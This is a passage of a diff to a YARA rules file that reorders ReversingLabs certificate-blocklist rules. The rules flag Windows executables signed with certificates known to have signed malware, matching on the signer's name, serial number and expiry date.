"47:28:18:9f:a0:f5:77:93:48:4c:df:76:4f:5e:28:3d" and 1647302400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OM-FAS d.o.o." and ( pe.signatures [ i ] . serial == "00:fd:41:e6:bd:74:28:d3:00:8c:8a:05:f6:8c:9a:c6:f2" or pe.signatures [ i ] . serial == "fd:41:e6:bd:74:28:d3:00:8c:8a:05:f6:8c:9a:c6:f2" ) and 1575590400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_9Bd81A9Adaf71F1Ff081C1F4A05D7Fd7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C7079866C0E48B01246Ba0C148E70D4D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "727167de-5678-558d-b948-8a40839d0500" + id = "2c985bd9-cb2a-553a-af63-a2a0a80cc641" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11516-L11534" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5520-L5538" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e275a1fd2eb931030fa8b5fc11cd1b335835aaa553a42455053cb93fef5e6e72" + logic_hash = "cc144760e0ca21fd98b55ac222db540900def61f54e9644f8cab5f711ec7bf24" score = 75 quality = 90 tags = "INFO, FILE" @@ -22517,21 +44911,21 @@ rule REVERSINGLABS_Cert_Blocklist_9Bd81A9Adaf71F1Ff081C1F4A05D7Fd7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SMART TOYS AND GAMES, INC" and ( pe.signatures [ i ] . serial == "00:9b:d8:1a:9a:da:f7:1f:1f:f0:81:c1:f4:a0:5d:7f:d7" or pe.signatures [ i ] . serial == "9b:d8:1a:9a:da:f7:1f:1f:f0:81:c1:f4:a0:5d:7f:d7" ) and 1601683200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO GARANT" and ( pe.signatures [ i ] . serial == "00:c7:07:98:66:c0:e4:8b:01:24:6b:a0:c1:48:e7:0d:4d" or pe.signatures [ i ] . serial == "c7:07:98:66:c0:e4:8b:01:24:6b:a0:c1:48:e7:0d:4d" ) and 1588679105 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C81319D20C6F1F1Aec3398522189D90C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D591Da22F33C800A7024Aecff2Cd6C6D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0a196a18-002e-58e4-bff2-83d1a67a82ce" + id = "294cbf90-cd1f-5743-a51a-46e1d04ef34e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11536-L11554" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5540-L5558" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2a9f13f5e79a12f7e9d9d4a0dcaac065e1fc5167c67bc9f3fd7ba1c374b26d96" + logic_hash = "30e421d5ea3c5693c5c9bd0e3dd997ceda9755d17e3fb16d2a8e6c4a327ae32f" score = 75 quality = 90 tags = "INFO, FILE" @@ -22541,21 +44935,21 @@ rule REVERSINGLABS_Cert_Blocklist_C81319D20C6F1F1Aec3398522189D90C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and ( pe.signatures [ i ] . serial == "00:c8:13:19:d2:0c:6f:1f:1a:ec:33:98:52:21:89:d9:0c" or pe.signatures [ i ] . serial == "c8:13:19:d2:0c:6f:1f:1a:ec:33:98:52:21:89:d9:0c" ) and 1643500800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO T2 Soft" and ( pe.signatures [ i ] . serial == "00:d5:91:da:22:f3:3c:80:0a:70:24:ae:cf:f2:cd:6c:6d" or pe.signatures [ i ] . serial == "d5:91:da:22:f3:3c:80:0a:70:24:ae:cf:f2:cd:6c:6d" ) and 1588679107 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C318D876768258A696Ab9Dd825E27Acd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B36E0F2053Caee9C3B966F7Be0B40Fc3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c6e93547-5be0-5303-b537-655db3d78ad4" + id = "8ed732ae-1c25-59fc-8ebe-50a1eb81e4a9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11556-L11574" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5560-L5578" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "691b57929c93d14f8700e0e61170b9248499fd36b80aec90f2054c32d6a3a9eb" + logic_hash = "2444c78aefdb9e8c8004598a318db016d7e781ede6da2ba3ee85316456c3e77b" score = 75 quality = 90 tags = "INFO, FILE" @@ -22565,21 +44959,21 @@ rule REVERSINGLABS_Cert_Blocklist_C318D876768258A696Ab9Dd825E27Acd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Genezis" and ( pe.signatures [ i ] . serial == "00:c3:18:d8:76:76:82:58:a6:96:ab:9d:d8:25:e2:7a:cd" or pe.signatures [ i ] . serial == "c3:18:d8:76:76:82:58:a6:96:ab:9d:d8:25:e2:7a:cd" ) and 1615161600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PARTS-JEST d.o.o." and ( pe.signatures [ i ] . serial == "00:b3:6e:0f:20:53:ca:ee:9c:3b:96:6f:7b:e0:b4:0f:c3" or pe.signatures [ i ] . serial == "b3:6e:0f:20:53:ca:ee:9c:3b:96:6f:7b:e0:b4:0f:c3" ) and 1600172855 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_06Df5C318759D6Ea9D090Bfb2Faf1D94 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5B320A2F46C99C1Ba1357Bee : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a61e61c1-9fa0-5fd9-b197-bb9d1b68c8f4" + id = "3912fdfc-7a84-51ce-abd2-977ad183af26" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11576-L11592" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5580-L5596" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5f151ee5781a15cca4394fdd8200162eae47e9d088a0b1551c9ed22ce11473a2" + logic_hash = "12797f80bce9d64c6c07e185aa309a0c4f910835745a7f2cc1874fb1211624d8" score = 75 quality = 90 tags = "INFO, FILE" @@ -22589,21 +44983,21 @@ rule REVERSINGLABS_Cert_Blocklist_06Df5C318759D6Ea9D090Bfb2Faf1D94 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SpiffyTech Inc." and pe.signatures [ i ] . serial == "06:df:5c:31:87:59:d6:ea:9d:09:0b:fb:2f:af:1d:94" and 1634515201 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REGION TOURISM LLC" and pe.signatures [ i ] . serial == "5b:32:0a:2f:46:c9:9c:1b:a1:35:7b:ee" and 1602513116 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_02De1Cc6C487954592F1Bf574Ca2B000 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_08D4352185317271C1Cec9D05C279Af7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2a15d527-7f42-5c56-9740-9c2503a66f4f" + id = "0165920f-5f4d-5b35-990d-120786b4c5ba" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11594-L11610" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5598-L5614" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "40b78005d343684d08bb93e92c51eee10e674e8deb9eec290bc9ffe3b23061b1" + logic_hash = "b240962ab23729b241413ed1e53ac6541bf6b8a673c57522efd0cfe0c7eb9dd4" score = 75 quality = 90 tags = "INFO, FILE" @@ -22613,21 +45007,21 @@ rule REVERSINGLABS_Cert_Blocklist_02De1Cc6C487954592F1Bf574Ca2B000 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Orca System" and pe.signatures [ i ] . serial == "02:de:1c:c6:c4:87:95:45:92:f1:bf:57:4c:a2:b0:00" and 1613735394 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Retalit LLC" and pe.signatures [ i ] . serial == "08:d4:35:21:85:31:72:71:c1:ce:c9:d0:5c:27:9a:f7" and 1596585601 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A32B8B4F1Be43C23Eb2848Ab4Ef06Bb2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B514E4C5309Ef9F27Add05Bedd4339A0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2ced71bb-622c-5597-91c3-210b9b5f3a4e" + id = "4b5abcfe-259e-5029-822b-c191b8d2c607" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11612-L11630" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5616-L5634" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dd7d44349baaf4a2e2f61b38cef31f288110bb03944fd4593f52a0ab03b9d172" + logic_hash = "665b280218528bbe3d5c65d043266469e5288587ed9d85d01797bef7ce132a6f" score = 75 quality = 90 tags = "INFO, FILE" @@ -22637,21 +45031,21 @@ rule REVERSINGLABS_Cert_Blocklist_A32B8B4F1Be43C23Eb2848Ab4Ef06Bb2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Pak El AB" and ( pe.signatures [ i ] . serial == "00:a3:2b:8b:4f:1b:e4:3c:23:eb:28:48:ab:4e:f0:6b:b2" or pe.signatures [ i ] . serial == "a3:2b:8b:4f:1b:e4:3c:23:eb:28:48:ab:4e:f0:6b:b2" ) and 1673395200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SCABONE PTY LTD" and ( pe.signatures [ i ] . serial == "00:b5:14:e4:c5:30:9e:f9:f2:7a:dd:05:be:dd:43:39:a0" or pe.signatures [ i ] . serial == "b5:14:e4:c5:30:9e:f9:f2:7a:dd:05:be:dd:43:39:a0" ) and 1572566400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_626735Ed30E50E3E0553986D806Bfc54 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_13C7B92282Aae782Bfb00Baf879935F4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e0cfc0e6-b36e-5d4e-bfe6-21f13499dc0c" + id = "cc147c06-e0cf-5536-be3c-17e838b346a9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11632-L11648" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5636-L5652" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0a2acf8528a12fd05cf58c2ed5224f7472d14251b342ce4df6d9c10c6a6decfc" + logic_hash = "d4edbb446a51e5153ba88d6757d5fb610303eac3fd4bdd3b987b508dc618d2dc" score = 75 quality = 90 tags = "INFO, FILE" @@ -22661,21 +45055,21 @@ rule REVERSINGLABS_Cert_Blocklist_626735Ed30E50E3E0553986D806Bfc54 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FISH ACCOUNTING & TRANSLATING LIMITED" and pe.signatures [ i ] . serial == "62:67:35:ed:30:e5:0e:3e:05:53:98:6d:80:6b:fc:54" and 1666742400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE WIZARD GIFT CORPORATION" and pe.signatures [ i ] . serial == "13:c7:b9:22:82:aa:e7:82:bf:b0:0b:af:87:99:35:f4" and 1603130510 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_34D42E871Ddb1C92Fa20B55B384E1259 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D627F1000D12485995514Bfbdefc55D9 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "98a8f4b0-08d0-5e09-b46e-74b46f4df223" + id = "4696fc12-16b7-575f-b90f-aa0a5cc12852" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11650-L11666" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5654-L5672" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8af5f4abe6425713b7c1fd17deaa78b2cfd6ef73ad960bce883e95661c2dbb56" + logic_hash = "7ca590d71997879d17054a936238dd5273a52f3438d1b231a75927abfb118ffd" score = 75 quality = 90 tags = "INFO, FILE" @@ -22685,21 +45079,21 @@ rule REVERSINGLABS_Cert_Blocklist_34D42E871Ddb1C92Fa20B55B384E1259 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VENS CORP" and pe.signatures [ i ] . serial == "34:d4:2e:87:1d:db:1c:92:fa:20:b5:5b:38:4e:12:59" and 1630368000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THREE D CORPORATION PTY LTD" and ( pe.signatures [ i ] . serial == "00:d6:27:f1:00:0d:12:48:59:95:51:4b:fb:de:fc:55:d9" or pe.signatures [ i ] . serial == "d6:27:f1:00:0d:12:48:59:95:51:4b:fb:de:fc:55:d9" ) and 1597622400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_08D4Dc90047B8470Ccaf3924Dfbd8B5F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5Fb6Bae8834Edd8D3D58818Edc86D7D7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2abe218a-1d93-5efe-9878-4314cf9ecdf7" + id = "52b11933-f22c-53ea-88b7-75b3242907dd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11668-L11684" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5674-L5690" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "569db2f6d6f4da9985c57812a03f91bce88f2150b17659249e0f746a0d15150b" + logic_hash = "a8cec0479bfd53f34e291d56538187c05375e80d20af7f0af08f0db8e1d6ed22" score = 75 quality = 90 tags = "INFO, FILE" @@ -22709,21 +45103,21 @@ rule REVERSINGLABS_Cert_Blocklist_08D4Dc90047B8470Ccaf3924Dfbd8B5F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Dibies" and pe.signatures [ i ] . serial == "08:d4:dc:90:04:7b:84:70:cc:af:39:24:df:bd:8b:5f" and 1619136000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tramplink LLC" and pe.signatures [ i ] . serial == "5f:b6:ba:e8:83:4e:dd:8d:3d:58:81:8e:dc:86:d7:d7" and 1600781989 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C2Fc83D458E653837Fcfc132C9B03062 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E5Ad42C509A7C24605530D35832C091E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "135d638c-9ee5-52cf-a6e7-c12e4feef594" + id = "29b1803e-90ee-5390-9548-20b24a3de218" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11686-L11704" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5692-L5710" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "836cec8d8396680dd64f95d4dd41f7f5876cb4268d983238a01d2e0990cce74a" + logic_hash = "2d57d1c171734d0da167ce7eba47aecd88cd15063488d79659804c6c2fae00a2" score = 75 quality = 90 tags = "INFO, FILE" @@ -22733,21 +45127,21 @@ rule REVERSINGLABS_Cert_Blocklist_C2Fc83D458E653837Fcfc132C9B03062 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Vertical" and ( pe.signatures [ i ] . serial == "00:c2:fc:83:d4:58:e6:53:83:7f:cf:c1:32:c9:b0:30:62" or pe.signatures [ i ] . serial == "c2:fc:83:d4:58:e6:53:83:7f:cf:c1:32:c9:b0:30:62" ) and 1602201600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VESNA, OOO" and ( pe.signatures [ i ] . serial == "00:e5:ad:42:c5:09:a7:c2:46:05:53:0d:35:83:2c:09:1e" or pe.signatures [ i ] . serial == "e5:ad:42:c5:09:a7:c2:46:05:53:0d:35:83:2c:09:1e" ) and 1600786458 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_54C793D2224Bdd6Ca527Bb2B7B9Dfe9D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_8E3D89C682F7C0Dad70110Cb7B7C8263 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "80e92980-f4eb-5ac2-9f68-14c352758791" + id = "1adc776c-1549-5149-bd2f-81920a8d7255" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11706-L11722" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5712-L5730" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "81c9c1d841d4aae3de229cc499ee84920d89928590a3eb157f7a7a7fbc46b4a8" + logic_hash = "a0f42c5492469e7f132b000aead2d674fed4ea9c0e168579fd55a6c89b45ae4d" score = 75 quality = 90 tags = "INFO, FILE" @@ -22757,21 +45151,21 @@ rule REVERSINGLABS_Cert_Blocklist_54C793D2224Bdd6Ca527Bb2B7B9Dfe9D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CODE - HANDLE, s. r. o." and pe.signatures [ i ] . serial == "54:c7:93:d2:22:4b:dd:6c:a5:27:bb:2b:7b:9d:fe:9d" and 1629676800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "WORK PLACEMENTS INTERNATIONAL LIMITED" and ( pe.signatures [ i ] . serial == "00:8e:3d:89:c6:82:f7:c0:da:d7:01:10:cb:7b:7c:82:63" or pe.signatures [ i ] . serial == "8e:3d:89:c6:82:f7:c0:da:d7:01:10:cb:7b:7c:82:63" ) and 1570626662 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_8Cece6Df54Cf6Ad63596546D77Ba3581 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ef2D35F2Ae82A767A16Be582Ab0D1Ba0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bde12eeb-c4f8-5da3-8493-0f94cb1bf1f7" + id = "dc8f49b8-fda2-510c-8374-3261e75d11a9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11724-L11742" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5732-L5750" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d6b5bca36ef492ce9b79be905c86c66d43ef38701dafeed977229034119bd00d" + logic_hash = "0709290aeb18bcb855518e150c2768c24ab311f5c727cdc4c40145b879ff88b6" score = 75 quality = 90 tags = "INFO, FILE" @@ -22781,21 +45175,21 @@ rule REVERSINGLABS_Cert_Blocklist_8Cece6Df54Cf6Ad63596546D77Ba3581 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Mikael LLC" and ( pe.signatures [ i ] . serial == "00:8c:ec:e6:df:54:cf:6a:d6:35:96:54:6d:77:ba:35:81" or pe.signatures [ i ] . serial == "8c:ec:e6:df:54:cf:6a:d6:35:96:54:6d:77:ba:35:81" ) and 1613088000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Workstage Limited" and ( pe.signatures [ i ] . serial == "00:ef:2d:35:f2:ae:82:a7:67:a1:6b:e5:82:ab:0d:1b:a0" or pe.signatures [ i ] . serial == "ef:2d:35:f2:ae:82:a7:67:a1:6b:e5:82:ab:0d:1b:a0" ) and 1567123200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_984E84Cfe362E278F558E2C70Aaafac2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_039668034826Df47E6207Ec9Daed57C3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "180f1209-7031-50fb-b1fc-3d357f2b73a1" + id = "c2a3477a-a4cf-586e-ba70-555cc577ab2c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11744-L11762" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5752-L5768" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e7a8f3dff77121df53d5f932f861e15208b0607ba77712f40927bc14b17a53cd" + logic_hash = "792860feec6e599ba22ae3869ef132cf5b7be2e0572e23503e293444fd7c382d" score = 75 quality = 90 tags = "INFO, FILE" @@ -22805,21 +45199,21 @@ rule REVERSINGLABS_Cert_Blocklist_984E84Cfe362E278F558E2C70Aaafac2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Arctic Nights \\xC3\\x84k\\xC3\\xA4slompolo Oy" and ( pe.signatures [ i ] . serial == "00:98:4e:84:cf:e3:62:e2:78:f5:58:e2:c7:0a:aa:fa:c2" or pe.signatures [ i ] . serial == "98:4e:84:cf:e3:62:e2:78:f5:58:e2:c7:0a:aa:fa:c2" ) and 1640304000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CHOO FSP, LLC" and pe.signatures [ i ] . serial == "03:96:68:03:48:26:df:47:e6:20:7e:c9:da:ed:57:c3" and 1601424001 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ff52Eb011Bb748Fee75153Cbe1E50Dd6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_07Bb6A9D1C642C5973C16D5353B17Ca4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "acd29c6d-27ed-587a-b17c-989e69082434" + id = "094a02ee-394b-5989-9f73-6b942aca5500" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11764-L11782" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5770-L5786" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8c80ed4e4f77df34ff9fcc712deda4c1bbedc588f2b01d02aa705e368fb98c5e" + logic_hash = "b98dcd4f0ebe870a9dad55cac5b0db81be6062216337b75a74a0aff8436df57f" score = 75 quality = 90 tags = "INFO, FILE" @@ -22829,21 +45223,21 @@ rule 